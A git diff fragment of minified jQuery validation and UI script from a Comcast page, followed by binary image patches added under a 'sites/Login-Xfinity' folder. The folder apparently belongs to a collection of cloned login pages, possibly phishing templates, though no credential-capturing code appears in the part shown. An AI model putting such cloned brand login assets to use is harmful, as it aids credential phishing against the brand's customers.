this.optional(element)||/^\s*((([0-9A-Fa-f]{1,4}:){7}(([0-9A-Fa-f]{1,4})|:))|(([0-9A-Fa-f]{1,4}:){6}(:|((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})|(:[0-9A-Fa-f]{1,4})))|(([0-9A-Fa-f]{1,4}:){5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){4}(:[0-9A-Fa-f]{1,4}){0,1}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){3}(:[0-9A-Fa-f]{1,4}){0,2}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:){2}(:[0-9A-Fa-f]{1,4}){0,3}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(([0-9A-Fa-f]{1,4}:)(:[0-9A-Fa-f]{1,4}){0,4}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(:(:[0-9A-Fa-f]{1,4}){0,5}((:((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})?)|((:[0-9A-Fa-f]{1,4}){1,2})))|(((25[0-5]|2[0-4]\d|[01]?\d{1,2})(\.(25[0-5]|2[0-4]\d|[01]?\d{1,2})){3})))(%.+)?\s*$/i.test(value)},"Please enter an IPv6 address in the format");$.validator.addMethod("mac",function(value,element){return this.optional(element)||/^[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]:[0-9A-Fa-f][0-9A-Fa-f]$/i.test(value)},"Please enter an MAC address in the format xx:xx:xx:xx:xx:xx");$.validator.addClassRules({octet:{range:[0,255]},ipv4:{ipv4:true},ipv6:{ipv6:true},hexadecimal:{hexadecimal:true},exactlength:{exactlength:true}})}function setupTooltipInHeader(){$("#status li").mouseenter(function(){$(".tooltip",this).fadeIn()}).mouseleave(function(){$(".tooltip",this).fadeOut()})}return{init:function(title,navElementId){document.title=title+" - "+document.title;Uh_Page_Init();setupLeftNavigation(navElementId);setupDeleteConfirmDialogs();setupBatteryIndicator();setupEducationalTip();setupFormValidation();setupFirewallDisplay();setupTooltipInHeader();try{document.execCommand("BackgroundImageCache",false,true)}catch(e){}if($.browser.msie){$("input:radio, input:checkbox").click(function(){this.blur();this.focus()})}}}}();comcast.breakWord=function(originalString,characterLimit){var originalString=""+originalString;var characterLimit=parseInt(characterLimit);if(originalString.length<=0||characterLimit<=0){return}var re=new RegExp("(\\w{"+characterLimit+"})","g");return originalString.replace(re,"$1 ")};$.fn.radioToButton=function(settings){var config={autoSubmitForm:false};if(settings){$.extend(config,settings)}this.each(function(){var $c=$container=$(this);var $boxes=$c.find("li");$c.addClass("radiolist");$("li",$c).removeClass("selected");$("input:radio:checked",$c).parent().addClass("selected");$("label",$c).click(function(e){e.preventDefault();var $parent;var $radio;$boxes.removeClass("selected");$parent=$(this).parent().addClass("selected");$("input:radio",$c).attr("checked",false);$radio=$parent.find("input:radio").attr("checked",true);$c.trigger("change",[$radio.val()]);if(config.autoSubmitForm){$c.closest("form").submit()}})});return this}; \ No newline at end of file diff --git a/sites/Login-Xfinity/Xfinity_files/img/.DS_Store b/sites/Login-Xfinity/Xfinity_files/img/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..78ca5e69352a36b94b496d7e4854414a0febd021 GIT binary patch literal 6148 zcmeHK!Ab)`41Ljp6+!msagLq}{=rhJ;8j0B-PRUmaZ9bBxBWo>slFtmbahW2L`nk5 zOJ|bI%!AHs0Lb`db_NsxhEzpSr$=2EG{3`yo*k z%Z#m~T^%&m0uTorHleS*gyy7-WyaQ#GZgVuqNhr3F~rk3o^o87v32xxNNzqPul(7( zh^@~0$-*I}W7uFI80a#fy)UKE_y3%KncgPfLc#25}{`{lwpL4$Nd*A1IpZD_36N{KE znHS^*H3vc0uU~)g;6YDMPhnvpi^W>KdUZ}t4u)ZO@7`6b)h#V8&CSjC@8551Y|O~W zC@wC}&(CjYXgGE1)Yh$AeSLjvYio}lJz7;&J#$j~+eh?d`pF>sDoDWl2d%X=y2s$E&EQxOeYfU0vO=W5<>*UHWWzO?&1XE|f0d z^CE>98F8=!5rCr@NhBVVo9E&egX*s07PMjveDg}r1L4X92==r!( z6_R4W7o>zsFdZeMR2qZ9@Pjb~MJNbHK{0=n!KPwt1c6^H5@0hZ;@Hsw z(F-oHRW)N^er> zw6GOX7OP7zaY!K2=Mpq}iR2}))<_-}M3(C`6thfELCFY3qp|85wlfALT93AFv>#(B1A;PXiR=Ek8Z>?F?lQ+3!_n) ze4DRWYc$EUa@@wN0=zGL(Kq_C`378O(ix;Wo!Zs`kxHFOXH@F+Fn>V+ERo4oTI=3g zp66->xIvYOD?|pJ1|H5YTlE@#gvvxl>SkgA7$4=+f`vki#bB^VFMJjMCubB848__U zBbvo_1Uk_A`?B@H=H>9H@c|7pwVgEl5`g;HF`Rji7y{^u?9qo5+ zxBYqR=8ZqD|NdL+uh&|B`MLS0t5+^xYP$Gid&7$d#3LD+M3hfojQ5q+vC;8 zzBzj2aMjm`zN$QUpyJE@`}XeHUA}8)S!v0R?Zw-^*!p=<;g*8U`FWdiH|A_uzb-o~ z^RtZfwP}_$t5>D2T#=G&PD)HL84aK6by|%&ez{7yEDl%5V`ZOw{L#`SA1+=L^TGQI zr3<2?A|t{j^TR^LA@f8+0caa;P#|aS95#!|pa;;X7#K^kzu)XxGiUg|=i@z{G!33Q z<=x3d!X&SECVG0jJz>22I5$@pXQ#1_V@AI<%E2ByFw+J`y#+x*kRNz!z$5AfL8BwN zCHj!THtCu2=xbM%%P%PNZwSQMPGgo+rQ>6EbX{6FBj(JNkVTfljo)`yubk4I)gj1J zQR|!|h(yO#fhk1a^gy4<**P0?H|6DTF4z*vvyzN`g(SjC(&ncGB#UNyOuV4%z4@Cs zd;gZ1v~tc8?`hekVn5Ed9PX^k)pZSAw$Hmbt$JUG>7Qi6)YP=K=^3A8W@WEizrjWl zJk0T`kf<7~ki5XN<%aqeb@YV}_qMs>-BUO1o$kVMIvMW~Ipbt-EM5~?y}PK~wO#U6 z>(@C0L%wsAjwy-GgmiSp)KyGN60*W3r0}_tS6QO1O8f}9_2q^JX(5-$>zmOU6LvNB z{E^Fe&UW|yF!Hw4Vo7`BB#$Xwz5BRDg{;kK{#yF>XKO5i$zwenmQ5h6n;eIF5yr@I z|8a?FMMWdTI6)4O8{`S9A{;@Zb_*-RRY&Y*3b*4kLDT#7i!`FM#p(NIG3WE6N)H!%IC(~mcN^^(J#!>11YkXeVfoyWc{gW+ zyzI2!mF!a@S}WpPf{O?Ro+D&8H*An-U8*V~Z{+!?TcUm%ATK_DHO`ZiOD9ql zcC#H*6$ud|!i8QY0^nXstEHvam*?)j>|GEV(r3Srytw&5;(BjOH7qTwTIlJtHlMzv i<>R{rOU7Af!meM1+C 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 